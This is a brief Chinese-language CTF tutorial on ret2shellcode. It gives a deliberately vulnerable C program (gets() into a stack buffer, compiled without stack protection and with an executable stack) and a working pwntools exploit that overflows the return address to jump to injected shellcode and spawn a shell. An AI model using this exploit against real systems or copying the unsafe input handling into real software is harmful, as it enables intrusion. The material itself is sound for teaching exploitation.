0x00 条件
- 没有执行shellcode 的函数,没有开启NX保护
- 传入自定义shell code
0x01 ret2shellcode
- shellcode 是黑客编写的用于实行特定功能的代码(短小精悍),通常是开启一个shell
- exec(“bin/sh”,null,null)
- 通常用汇编编写
- 32bit/64bit
0x02 demo
demo1.c
gcc -fon-stack-protector -zexecstack demo1.c -o demo1
#include <stdio.h>char buf2[200];int main(){setvbuf(stdout,0,2,0);char buf[20];printf("what's your name: ");gets(buf);printf("leave message: :");gets(buf2);puts(buf2);}
0x03 攻击思路
- 栈溢出劫持到buf2地址
- buf2地址写入shellcode4
- shellcode 可以用pwntools 生成
0x04 调试

打开 ida 反编译 查看buf 的地址
buf 地址为 0x601080
gdb 调试 查看返回地址偏移
生成垃圾数据 到get(buf)时填入
到ret 时计算偏移 buf 到返回地址偏移为40**
0x05 exp
from pwn import *context.arch="amd64"p=process('./demo1')buf2=0x0000000000601080payload=b"a"*40+p64(buf2)p.recvuntil("name:")p.sendline(payload)p.recvuntil("message")shellcode=asm(shellcraft.sh())p.sendline(shellcode)p.interactive()
